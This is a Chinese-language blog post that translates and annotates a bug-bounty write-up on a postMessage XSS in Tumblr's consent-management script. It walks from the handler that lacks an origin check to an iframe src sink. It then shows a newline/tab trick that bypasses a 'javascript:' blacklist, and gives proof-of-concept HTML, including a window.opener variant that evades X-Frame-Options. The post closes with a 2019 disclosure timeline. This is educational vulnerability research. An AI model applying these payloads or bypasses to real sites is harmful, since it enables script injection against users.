? ?原文地址如下:https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/
? ?在19年我寫了一篇文章,是基于postMessageXss漏洞的入門教學:https://www.cnblogs.com/piaomiaohongchen/p/14727871.html?
? ?這幾天瀏覽mXss技術的時候,看到了一篇postMessaage的分析文章,覺得不錯,遂翻譯寫成文章,每一次好的文章翻譯,都是一次很好的學習的機會。生硬的translate,對技術提升沒有任何幫助,這里我以第一視角代入翻譯此篇文章,加入自己對漏洞的理解。
? ?這篇文章的難點在于對source的構造。
? ?正文內容如下:
? ?在研究期間,我決定查看 tumblr.com 主頁,計劃是查看它是否處理任何 postMessages。我發現 cmpStub.min.js 文件中有一個有趣的函數,它不檢查 postMessage 的來源。在模糊形式下,它如下所示:
var e = !1;function t(e) {var t = "string" == typeof e.data, n = e.data;if (t)try {n = JSON.parse(e.data)} catch (e) {}if (n && n.__cmpCall) {var r = n.__cmpCall;window.__cmp(r.command, r.parameter, function(n, o) {var a = {__cmpReturn: {returnValue: n,success: o,callId: r.callId}};e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")})}}
? 為了方便理解,把代碼丟入webstorm,webstorm會有高亮提醒:
?通過我的截圖標記,我們知道這是個套娃行為,他的可控source點的套娃行為如下:
e.data <- n <- n.__cmpCall <- r <- r.command && r.parameter
如果要本地模式這種套娃行為,那么這種source套娃模擬就是如下:
data= '{"name":"admin","list":{"test1":"test12","test2":"test2"},"age":16}'
// data='123'
var n = JSON.parse(data);
console.log(n.list.test1)
?兩個邏輯處理分支:
(1)n = JSON.parse(e.data)
(2)window.__cmp(.,.,.xxx
?第一個是使用parse函數把我們監聽接收的數據從JSON 字符串轉換為 JavaScript 對象,說明我們傳遞的source是個json字符串
?source套娃點,會傳入__cmp(函數,跟進這個函數:
if (e)return {init: function(e) {if (!l.a.isInitialized())if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},p.uiUrl || p.organizationId)if (c.a.isSafeUrl(p.uiUrl)) {p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),g.setGdpr("S"),g.setPublisherId(p.organizationId)),(t = p.sharedConsentDomain) && r.a.init(t),s.a.setCookieDomain(p.cookieDomain);var n = s.a.getGdprApplies();!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {n || (e = !0),s.a.setIsUserInEU(e),e ? (g.setGdpr("L"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : l.a.initializationComplete()})} elsec.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)
代碼臭長臭長的,不要管,只要抓住重點?
(1)在javascript中當出現n.x.y或者n.x.y.z說明是套娃+套娃,跟緊咬死source點
(2)尋找潛在風險函數
發現有個if邏輯判斷,如果不為真,就else輸出報錯,那么這里要想辦法讓條件為真,跟進isSafeUrl函數:
isSafeUrl: function(e) {return -1 === (e = (e || "").replace(" ","")).toLowerCase().indexOf("javascript:")
}
正常我們寫代碼都是function isSafeUrl(x) 。這是兩種不同的寫法,效果類似,一種是對象方法定義,一種是直接函數說明。
?這段邏輯代碼很好理解:如果輸入的字符串中不包含"javascript:",函數返回 true;如果包含,返回 false。?
?這里想返回真,那么我們就不能包含javascript:字符串,他這么做是為了防止xss攻擊。做過一些代碼審計的朋友應該都知道,使用包含這種黑名單的修復手法,是很危險的,是很容易被繞過的。
?那么這里的包含,為后面的利用留下了伏筆。我們繼續往下研究,假設我們不包含javascript:字符串,為真了,會觸發下面的邏輯處理代碼:
? 通過不斷的debug進入邏輯處理函數,發現一個可疑邏輯處理函數
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
? 跟進b函數:
b = function(e) {g.markConsentRenderStartTime();var n = p.uiUrl ? i.a : a.a;l.a.isInitialized() ? l.a.getConsentString(function(t, o) {p.consentString = t,n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})}) : n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})
在這里,將觸發真正的sink點:n.renderConsents(p, function(n, t) {,跟進對應函數:
sink:renderConsents: function(n, p) {if ((t = n || {}).siteDomain = window.location.origin,r = t.uiUrl) {if (p && u.push(p),!document.getElementById("cmp-container-id")) {(i = document.createElement("div")).id = "cmp-container-id",i.style.position = "fixed",i.style.background = "rgba(0,0,0,.5)",i.style.top = 0,i.style.right = 0,i.style.bottom = 0,i.style.left = 0,i.style.zIndex = 1e4,document.body.appendChild(i),(a = document.createElement("iframe")).style.position = "fixed",a.src = r,a.id = "cmp-ui-iframe",a.width = 0,a.height = 0,a.style.display = "block",a.style.border = 0,i.style.zIndex = 10001,l(),
(1)r = t.uiUrl 可控點
(2)a.src = r iframe src加載
? 通過閱讀代碼,很明顯看出來這是個xss漏洞,我們可以本地模擬下這段攻擊代碼:
<script type="text/javascript">a = document.createElement("iframe");a.src="javascript:alert(1)"; //可控點document.body.appendChild(a);</script>
因為前面的isSafeUrl函數判斷,不允許包含javascript:字符串,包含就會報錯不走相關sink函數,那么這里就需要利用下js的小tricks:
a = document.createElement("iframe");
a.src="\tjava\nscr\nipt:alert(1)"; //可控點
document.body.appendChild(a);
再次刷新:
在js中,src屬性支持換行符,制表符等無害臟數據。這樣我們就繞過了這個黑名單過濾函數。
對于最后的sink點位,原作者畫出如下圖:
這里我們需要學習老外的學習思路,漏洞挖掘中可以多畫一些腦圖,方便你去理解代碼和理解業務邏輯。
最終的構造poc如下:
<html><body><script>
window.setInterval(function(e) {try {window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");} catch(e) {}
}, 100);
</script>
<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>
難點在于source套娃,容易繞暈。構造的poc,是比較常規的寫法。前面已經講了這個套娃怎么玩了,詳見JSON.parse的函數定義。
其實到這里,這篇翻譯文章算結束了。下面是擴展項:
只要頁面不包含 X-Frame-Options 標題,它就不需要任何額外的用戶交互,訪問惡意網站就足夠了。如果應用程序實現 X-Frame-Options 標頭,則此漏洞將不允許攻擊者構建目標頁面。整個攻擊需要在兩個瀏覽器選項卡之間創建連接,以便通過window.opener傳遞postMessages,這也非常簡單:
X-Frame-Options 是什么?
X-Frame-Options 是一個 HTTP 響應頭,用于防止點擊劫持攻擊(clickjacking)。它控制一個網頁是否可以在 <iframe> 中被嵌套,增強了安全性。以下是它的主要選項和含義:不允許任何網頁在 <iframe> 中嵌套當前頁面。
http
復制代碼
X-Frame-Options: DENY
SAMEORIGIN:只允許同源的網頁在 <iframe> 中嵌套當前頁面。也就是說,只有與當前頁面相同源的網頁可以嵌入。
http
復制代碼
X-Frame-Options: SAMEORIGIN
因為postMessage xss漏洞需要加載當前網頁地址,通過設置X-Frame-Options可以禁止嵌套網頁:
那么對于這種情況,原文作者是如何繞過的?
<html><body>
<script>
function e() {window.setTimeout(function() {window.location.href="https://www.tumblr.com/embed/post/";}, 500);
}
window.setInterval(function(e) {try {window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");} catch(e) {}
}, 100);
</script><a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
這段代碼繞過X-Frame-Options的核心概念如下:
攻擊者需要在兩個不同的瀏覽器選項卡之間建立連接。
這種連接允許攻擊者在打開目標網站的選項卡中通過 window.opener 對象發送 postMessage 消息。
這種方式繞過了瀏覽器的安全策略,利用了在 window.opener 上發送消息的能力。
綜上所述,理解這段話的關鍵點是:如果沒有正確配置 X-Frame-Options 標頭的網頁可能會受到攻擊,因為其他網站可以在其頁面中嵌入目標網頁的iframe,從而執行潛在的惡意操作。
正確實現 X-Frame-Options 可以有效防止此類攻擊。
攻擊者利用兩個瀏覽器選項卡之間的連接,通過 window.opener 發送 postMessage 消息,繞過瀏覽器的安全機制,執行攻擊。
window.opener 將指向打開這個彈出窗口的主窗口
時間線:
07/10/2019 – 發現漏洞并同時向 Verizon Media 和 Tumblr 報告
07/10/2019 – 由 Tumblr 分類和修復
08/10/2019 – 由 Verizon Media 修復
09/10/2019 – Tumblr 獎勵我 500 美元的賞金
26/10/2019 – Verizon Media 獎勵我 500 美元的賞金
雖然這份報告只有500刀,但是個人學到了很多。好的文章超越了金錢本身。
Arabic | Hebrew | Polish |
Bulgarian | Hindi | Portuguese |
Catalan | Hmong Daw | Romanian |
Chinese Simplified | Hungarian | Russian |
Chinese Traditional | Indonesian | Slovak |
Czech | Italian | Slovenian |
Danish | Japanese | Spanish |
Dutch | Klingon | Swedish |
English | Korean | Thai |
Estonian | Latvian | Turkish |
Finnish | Lithuanian | Ukrainian |
French | Malay | Urdu |
German | Maltese | Vietnamese |
Greek | Norwegian | Welsh |
Haitian Creole | Persian | ? |